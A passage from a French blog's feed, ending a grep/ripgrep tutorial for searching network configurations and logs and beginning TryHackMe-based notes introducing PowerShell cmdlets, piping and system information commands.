style="color:#999988;font-style:italic"># Les lignes de log entre deux horodatages (approche simple par plage)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-E</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'^Aug 31 (0[8-9]|1[0-2]):'</span><span class="token plain"> /var/log/syslog</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Vérifier qu'aucun switch n'a oublié le serveur NTP cible</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-rL</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--include</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'*.cfg'</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'ntp server 10.10.10.1'</span><span class="token plain"> /tftpboot/configs/</span><br></div></code></pre></div></div>
<p>Pour filtrer un <code>show running-config</code> Arista à la volée (sans fichier intermédiaire), grep se combine trés bien avec ce que renvoie l'équipement via SSH :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">bash</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-iE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'interface (Ethernet|Vlan)|mtu |no shutdown'</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>grep n'est pas un parser</div><div class="admonitionContent_BuS1"><p><code>grep</code> cherche des lignes, il ne comprend pas la structure d'une config. Pour extraire proprement un bloc <code>interface … !</code> complet, <code>awk '/^interface/{p=1} p{print} /^!/{p=0}'</code> est plus juste que n'importe quelle gymnastique PCRE. grep trouve, awk structure.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="grep-vs-ripgrep--quand-changer-doutil">grep vs ripgrep : quand changer d'outil<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#grep-vs-ripgrep--quand-changer-doutil" class="hash-link" aria-label="Lien direct vers grep vs ripgrep : quand changer d'outil" title="Lien direct vers grep vs ripgrep : quand changer d'outil" translate="no">​</a></h2>
<p><code>ripgrep</code> (<code>rg</code>) est un remplaçant moderne de <code>grep -r</code> écrit en Rust. Il est plus rapide, plus sûr par défaut et plus ergonomique pour fouiller du code ou une arborescence. Ce n'est pas un remplacement universel : grep reste partout, rg s'installe en plus.</p>
<table><thead><tr><th>Besoin</th><th>grep</th><th>ripgrep (rg)</th></tr></thead><tbody><tr><td>Disponible par défaut</td><td>oui, partout</td><td>non, à installer</td></tr><tr><td>Respecte <code>.gitignore</code></td><td>non</td><td><strong>oui</strong>, par défaut</td></tr><tr><td>Smart case (insensible seulement si minuscules)</td><td>non</td><td><code>-S</code></td></tr><tr><td>Filtres par type de fichier</td><td><code>--include</code></td><td><code>-t conf</code>, <code>-t yaml</code></td></tr><tr><td>Exclure un glob</td><td><code>--exclude</code></td><td><code>-g '!*.log'</code></td></tr><tr><td>Fichier</td><td></td><td></td></tr><tr><td>s cachés</td><td>inclus par défaut</td><td>ignorés (<code>--hidden</code> pour les voir)</td></tr><tr><td>PCRE (lookaround)</td><td><code>-P</code> (GNU)</td><td><code>-P</code> (si compilé avec pcre2)</td></tr><tr><td>Multiligne</td><td><code>-z</code> + <code>-P</code></td><td><code>--multiline</code>, <code>--multiline-dotall</code></td></tr></tbody></table>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># L'équivalent grep -r --include, mais en lisant le .gitignore et en smart case</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">rg </span><span class="token parameter variable" style="color:#36acaa">-S</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'channel-group'</span><span class="token plain"> /tftpboot/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Uniquement les fichiers de conf, en excluant les logs</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">rg </span><span class="token parameter variable" style="color:#36acaa">-t</span><span class="token plain"> conf </span><span class="token parameter variable" style="color:#36acaa">-g</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'!*.log'</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'mtu 9000'</span><span class="token plain"> </span><span class="token builtin class-name">.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Multiligne sans la gymnastique de -z : un bloc d'interface avec mtu 9000</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">rg </span><span class="token parameter variable" style="color:#36acaa">--multiline</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-U</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'interface \S+[\s\S]*?mtu 9000[\s\S]*?!\s*\n'</span><span class="token plain"> running-config.cfg</span><br></div></code></pre></div></div>
<p>Ma règle de poche : si je cherche dans un fichier unique ou que je pipe la sortie d'une commande, c'est <code>grep</code>. Dès que je cherche dans une arborescence, un dépôt ou un gros volume de configs, c'est <code>rg</code>. Et si je dois <strong>transformer</strong> ce que je trouve, je passe à <code>awk</code>/<code>sed</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="quelques-pièges-et-bons-réflexes">Quelques pièges et bons réflexes<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#quelques-pi%C3%A8ges-et-bons-r%C3%A9flexes" class="hash-link" aria-label="Lien direct vers Quelques pièges et bons réflexes" title="Lien direct vers Quelques pièges et bons réflexes" translate="no">​</a></h2>
<ul>
<li class=""><strong>Toujours échapper le point</strong> quand on cherche une IP : <code>10\.0\.0\.1</code>, jamais <code>10.0.0.1</code>.</li>
<li class=""><strong>Préférer <code>-F</code> pour les chaînes fixes</strong> (IP, MAC, ASN). Plus rapide, plus sûr, et pas de surprise avec les regex.</li>
<li class=""><strong><code>-c</code> ne compte pas les lignes, il compte les lignes qui matchent</strong>. Pour le nombre d'occurrences réelles (plusieurs sur une ligne), il faut <code>-o</code> puis <code>wc -l</code>.</li>
<li class=""><strong><code>grep</code> est sensible à la locale</strong> : le tri et la définition de <code>[a-z]</code> dépendent de <code>LC_COLLATE</code>. Pour des résultats reproductibles, <code>LC_ALL=C grep …</code> force le mode byte.</li>
<li class=""><strong>Sur des fichiers binaires</strong>, grep signale « Binary file matches ». <code>-a</code> force le traitement en texte, <code>-I</code> ignore purement les binaires (utile en récursif).</li>
<li class=""><strong><code>--line-buffered</code></strong> rend grep utilisable en pipe temps réel (suivi de log) : <code>tail -f /var/log/syslog | grep --line-buffered -i bgp</code>.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pour-résumer">Pour résumer<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#pour-r%C3%A9sumer" class="hash-link" aria-label="Lien direct vers Pour résumer" title="Lien direct vers Pour résumer" translate="no">​</a></h2>
<p><code>grep</code> n'est pas un « cherche-moi ce mot ». C'est un sélecteur de lignes configurable à quatre niveaux : le <strong>moteur</strong> (<code>-F</code>/<code>-E</code>/<code>-P</code>), le <strong>filtre</strong> (<code>-v</code>/<code>-w</code>/<code>-x</code>/<code>-i</code>), le <strong>contexte</strong> (<code>-n</code>/<code>-A</code>/<code>-B</code>/<code>-C</code>) et le <strong>périmètre</strong> (<code>-r</code>/<code>- -include</code> /<code>--exclude-dir</code>). Maîtriser ces quatre axes, c'est passer de « j'ai 200 résultats dont la moitié inutiles » à « j'ai exactement ce que je cherche, avec le contexte, dans le bon fichier ». Et savoir quand <code>rg</code> ou <code>awk</code> prend le relais, c'est ce qui distingue un usage efficace d'un usage bourrin.</p>
<p>Quelques ressources pour aller plus loin :</p>
<ul>
<li class=""><a href="https://www.man7.org/linux/man-pages/man1/grep.1.html" target="_blank" rel="noopener noreferrer" class="">grep(1) — man page GNU</a></li>
<li class=""><a href="https://github.com/BurntSushi/ripgrep/blob/master/GUIDE.md" target="_blank" rel="noopener noreferrer" class="">ripgrep — guide officiel</a></li>
<li class=""><a href="https://www.regular-expressions.info/" target="_blank" rel="noopener noreferrer" class="">Regular-Expressions.info — référence PCRE</a></li>
</ul>
<p>Passez une bonne journée, et à la prochaine.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="Linux" term="Linux"/>
        <category label="tools" term="tools"/>
        <category label="Système" term="Système"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[TryHackMe - Windows Powershell]]></title>
        <id>https://docs.bastienbonora.fr/blog/powershell-introduction</id>
        <link href="https://docs.bastienbonora.fr/blog/powershell-introduction"/>
        <updated>2026-08-30T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[J'ai récemment commencé à suivre quelques parcours sur TryHackMe, et l'un d'entre eux passe en revue PowerShell. Le cours est plutôt bien fait, mais comme les machines du lab et le VPN étaient down, j'ai dû tout faire en local. Du coup, j'en ai profité pour consolider mes notes et en faire un article, parce que PowerShell, c'est pas juste un CMD amélioré, c'est un outil qu'il faut comprendre pour de vrai si on veut faire de l'administration Windows sérieuse ou de la sécu.]]></summary>
        <content type="html"><![CDATA[<p>J'ai récemment commencé à suivre quelques parcours sur TryHackMe, et l'un d'entre eux passe en revue PowerShell. Le cours est plutôt bien fait, mais comme les machines du lab et le VPN étaient down, j'ai dû tout faire en local. Du coup, j'en ai profité pour consolider mes notes et en faire un article, parce que PowerShell, c'est pas juste un CMD amélioré, c'est un outil qu'il faut comprendre pour de vrai si on veut faire de l'administration Windows sérieuse ou de la sécu.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="powershell-cest-quoi-exactement">PowerShell, c'est quoi exactement<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#powershell-cest-quoi-exactement" class="hash-link" aria-label="Lien direct vers PowerShell, c'est quoi exactement" title="Lien direct vers PowerShell, c'est quoi exactement" translate="no">​</a></h2>
<p>La définition officielle de Microsoft dit que PowerShell est une solution d'automatisation multiplateforme composée d'un shell en ligne de commande, d'un langage de script et d'un framework de gestion de configuration. Concrètement, c'est un shell orienté objet construit sur le .NET, et c'est ce dernier point qui change tout.</p>
<p>Dans un shell classique — que ce soit CMD sous Windows ou bash sous Linux — tout est du texte. La sortie d'une commande est une chaîne de caractères, et si on veut en extraire une information, il faut parser. PowerShell fonctionne autrement : quand on lance une commande, on récupère des objets .NET complets, avec leurs propriétés et leurs méthodes. Pas besoin de découper du texte avec <code>awk</code> ou des pipes compliqués, on manipule directement des structures de données.</p>
<p>Petit historique pour situer le truc. Au début des années 2000, Windows devenait de plus en plus présent en environnement entreprise, et les outils classiques comme <code>cmd.exe</code> et les batch files ne suivaient plus. Jeffrey Snover, ingénieur chez Microsoft, a constaté que Windows gérait les opérations système avec des données structurées et des APIs, là où Unix traitait tout comme du texte. Porter les outils Unix sur Windows n'avait donc pas beaucoup de sens. Sa solution a été de développer une approche orienté objet, en combinant la simplicité du scripting avec la puissance du framework .NET. PowerShell est sorti en 2006, d'abord exclusif à Windows, puis est devenu open source et multiplateforme en 2016 avec PowerShell Core, qui tourne désormais aussi sur macOS et Linux.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-notion-dobjet">La notion d'objet<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#la-notion-dobjet" class="hash-link" aria-label="Lien direct vers La notion d'objet" title="Lien direct vers La notion d'objet" translate="no">​</a></h2>
<p>Pour comprendre l'intérêt de PowerShell, il faut saisir ce qu'est un objet dans ce contexte. En programmation, un objet est une entité qui possède des propriétés (ses caractéristiques) et des méthodes (ses actions). Par exemple, un objet « fichier » a des propriétés comme son nom, sa taille, sa date de modification, et des méthodes comme copier, déplacer ou supprimer.</p>
<p>Dans un shell traditionnel, si on veut la taille d'un fichier, on récupère une ligne de texte et on doit l'extraire. Dans PowerShell, le fichier est un objet, et sa taille est directement accessible comme propriété. C'est ce qui rend le piping si puissant : on ne fait pas transiter du texte entre les commandes, on fait transiter des objets complets.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-cmdlets-et-la-syntaxe-verb-noun">Les cmdlets et la syntaxe Verb-Noun<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#les-cmdlets-et-la-syntaxe-verb-noun" class="hash-link" aria-label="Lien direct vers Les cmdlets et la syntaxe Verb-Noun" title="Lien direct vers Les cmdlets et la syntaxe Verb-Noun" translate="no">​</a></h2>
<p>Les commandes PowerShell s'appellent des cmdlets (prononcé « command-lets »). Elles suivent toutes une convention de nommage Verbe-Nom, ce qui les rend très lisibles : le verbe décrit l'action, le nom décrit l'objet sur lequel porte l'action. Par exemple, <code>Get-Content</code> récupère le contenu d'un fichier, <code>Set-Location</code> change le répertoire courant.</p>
<p>Trois cmdlets sont indispensables pour commencer :</p>
<p><code>Get-Command</code> liste toutes les commandes disponibles dans la session — cmdlets, fonctions, alias et scripts. On peut filtrer la sortie, par exemple pour n'afficher que les fonctions :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-Command -CommandType "Function"</span><br></div></code></pre></div></div>
<p>ou pour lister toutes les commandes qui commencent par un verbe donné, comme <code>Remove</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-Command -Verb Remove</span><br></div></code></pre></div></div>
<p><code>Get-Help</code> est l'équivalent du <code>man</code> sous Linux. Il affiche la documentation d'un cmdlet, sa syntaxe, ses paramètres et des exemples :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-Help Get-Date</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Get-Help Get-Date -examples</span><br></div></code></pre></div></div>
<p><code>Get-Alias</code> liste les alias disponibles. Pour faciliter la transition depuis d'autres shells, PowerShell embarque des alias qui pointent vers les cmdlets correspondants : <code>dir</code> est un alias pour <code>Get-ChildItem</code>, <code>cd</code> pour <code>Set-Location</code>, <code>cat</code> pour <code>Get-Content</code>. La commande <code>echo</code>, traditionnelle sous CMD et bash, est un alias pour <code>Write-Output</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="étendre-powershell-avec-des-modules">Étendre PowerShell avec des modules<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#%C3%A9tendre-powershell-avec-des-modules" class="hash-link" aria-label="Lien direct vers Étendre PowerShell avec des modules" title="Lien direct vers Étendre PowerShell avec des modules" translate="no">​</a></h2>
<p>PowerShell peut être étendu en téléchargeant des modules (des collections de cmdlets) depuis des dépôts en ligne comme PowerShell Gallery. <code>Find-Module</code> cherche des modules, <code>Install-Module</code> les installe :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Find-Module -Name "PowerShell*"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Install-Module -Name "PowerShellGet"</span><br></div></code></pre></div></div>
<p>Pratique quand on a besoin de cmdlets spécifiques pour interagir avec un service particulier — un module GitHub, un module Azure, un module pour gérer du YAML, etc.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="naviguer-dans-le-système-de-fichiers">Naviguer dans le système de fichiers<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#naviguer-dans-le-syst%C3%A8me-de-fichiers" class="hash-link" aria-label="Lien direct vers Naviguer dans le système de fichiers" title="Lien direct vers Naviguer dans le système de fichiers" translate="no">​</a></h2>
<p>PowerShell propose un ensemble de cmdlets pour gérer le système de fichiers, avec une approche unifiée : là où CMD utilise des commandes séparées pour les fichiers et les répertoires (<code>mkdir</code>, <code>del</code>, <code>rmdir</code>), PowerShell utilise les mêmes cmdlets pour les deux.</p>
<p><code>Get-ChildItem</code> liste le contenu d'un répertoire. C'est l'équivalent de <code>dir</code> sous CMD ou <code>ls</code> sous Linux. Sans paramètre, il affiche le contenu du répertoire courant :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\captain&gt; Get-ChildItem</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    Directory: C:\Users\captain</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Mode        LastWriteTime         Length Name</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">----        -------------         ------ ----</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">d-r---      5/8/2021   9:15 AM          Desktop</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">d-r---      9/4/2024  10:58 AM          Documents</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">d-r---      5/8/2021   9:15 AM          Downloads</span><br></div></code></pre></div></div>
<p><code>Set-Location</code> change le répertoire courant, comme <code>cd</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Set-Location -Path ".\Documents"</span><br></div></code></pre></div></div>
<p><code>New-Item</code> crée un fichier ou un répertoire, selon le paramètre <code>-ItemType</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">New-Item -Path ".\captain-cabin\captain-wardrobe" -ItemType "Directory"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">New-Item -Path ".\captain-cabin\captain-wardrobe\captain-boots.txt" -ItemType "File"</span><br></div></code></pre></div></div>
<p><code>Remove-Item</code> supprime indifféremment fichiers et répertoires, là où CMD sépare <code>del</code> et <code>rmdir</code>. <code>Copy-Item</code> et <code>Move-Item</code> copient et déplacent, comme leurs équivalents <code>copy</code> et <code>move</code> sous CMD.</p>
<p><code>Get-Content</code> affiche le contenu d'un fichier, comme <code>type</code> sous CMD ou <code>cat</code> sous Linux :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-Content -Path ".\captain-hat.txt"</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-piping-le-filtrage-et-le-tri">Le piping, le filtrage et le tri<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#le-piping-le-filtrage-et-le-tri" class="hash-link" aria-label="Lien direct vers Le piping, le filtrage et le tri" title="Lien direct vers Le piping, le filtrage et le tri" translate="no">​</a></h2>
<p>Le piping (<code>|</code>) existe dans tous les shells, mais dans PowerShell il est fondamentalement différent : il transmet des objets, pas du texte. Ce qui veut dire que la commande suivante dans le pipeline reçoit des objets complets avec toutes leurs propriétés, et peut filtrer, trier ou transformer directement sur ces propriétés sans aucun parsing.</p>
<p>Pour trier les fichiers d'un répertoire par taille :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-ChildItem | Sort-Object Length</span><br></div></code></pre></div></div>
<p><code>Get-ChildItem</code> récupère les fichiers en tant qu'objets, le pipe les envoie à <code>Sort-Object</code> qui les trie sur la propriété <code>Length</code>. Simple et direct.</p>
<p><code>Where-Object</code> filtre les objets selon des conditions. Pour ne lister que les fichiers <code>.txt</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-ChildItem | Where-Object -Property "Extension" -eq ".txt"</span><br></div></code></pre></div></div>
<p>L'opérateur <code>-eq</code> (« equal to ») fait partie d'une famille d'opérateurs de comparaison classiques qu'on retrouve aussi en bash ou en Python :</p>
<ul>
<li class=""><code>-ne</code> : « not equal », exclut les objets qui correspondent au critère</li>
<li class=""><code>-gt</code> : « greater than », comparaison stricte (les objets égaux au seuil sont exclus)</li>
<li class=""><code>-ge</code> : « greater than or equal to », version non stricte de <code>-gt</code></li>
<li class=""><code>-lt</code> : « less than », comparaison stricte</li>
<li class=""><code>-le</code> : « less than or equal to », version non stricte de <code>-lt</code></li>
</ul>
<p>Pour filtrer sur un motif plutôt que sur une égalité exacte, on utilise <code>-like</code> avec un wildcard :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-ChildItem | Where-Object -Property "Name" -like "ship*"</span><br></div></code></pre></div></div>
<p><code>Select-Object</code> sélectionne des propriétés spécifiques ou limite le nombre d'objets retournés. Pratique pour affiner une sortie quand on n'a pas besoin de toutes les propriétés :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-ChildItem | Select-Object Name,Length</span><br></div></code></pre></div></div>
<p>Enfin, <code>Select-String</code> cherche des motifs de texte dans des fichiers, à la manière de <code>grep</code> sous Linux ou <code>findstr</code> sous CMD. Il supporte les expressions régulières :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Select-String -Path ".\captain-hat.txt" -Pattern "hat"</span><br></div></code></pre></div></div>
<p>Là où ça devient intéressant, c'est qu'on peut chaîner tout ça. Le pipeline n'est pas limité à deux cmdlets — on peut enchaîner tri, filtre et sélection pour construire des requêtes précises. Par exemple, pour afficher le plus gros fichier d'un répertoire :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-ChildItem | Sort-Object Length -Descending | Select-Object -First 1</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="informations-système-et-réseau">Informations système et réseau<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#informations-syst%C3%A8me-et-r%C3%A9seau" class="hash-link" aria-label="Lien direct vers Informations système et réseau" title="Lien direct vers Informations système et réseau" translate="no">​</a></h2>
<p>PowerShell propose des cmdlets pour récupérer des informations détaillées sur la machine, bien au-delà de ce que permettent les commandes traditionnelles.</p>
<p><code>Get-ComputerInfo</code> récupère un snapshot complet de la configuration système : OS, matériel, BIOS, build, tout ça en une seule commande. Là où <code>systeminfo</code> sous CMD ne renvoie qu'un sous-ensemble de ces informations.</p>
<p><code>Get-LocalUser</code> liste les comptes utilisateurs locaux avec leur statut (activé ou non) et leur description. Utile pour vérifier rapidement la configuration de sécurité d'une machine :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\captain&gt; Get-LocalUser</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Name               Enabled Description</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">----               ------- -----------</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Administrator      True    Built-in account for administering the computer/domain</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">captain            True    The beloved captain of this pirate ship.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">DefaultAccount     False   A user account managed by the system.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Guest              False   Built-in account for guest access to the computer/domain</span><br></div></code></pre></div></div>
<p>Côté réseau, deux cmdlets remplacent <code>ipconfig</code> avec beaucoup plus de détail. <code>Get-NetIPConfiguration</code> affiche la configuration des interfaces : adresses IP, DNS, passerelles. <code>Get-NetIPAddress</code> liste toutes les adresses IP configurées sur le système, y compris celles qui ne sont pas actives, avec le prefix length, l'address family, l'état, etc.</p>
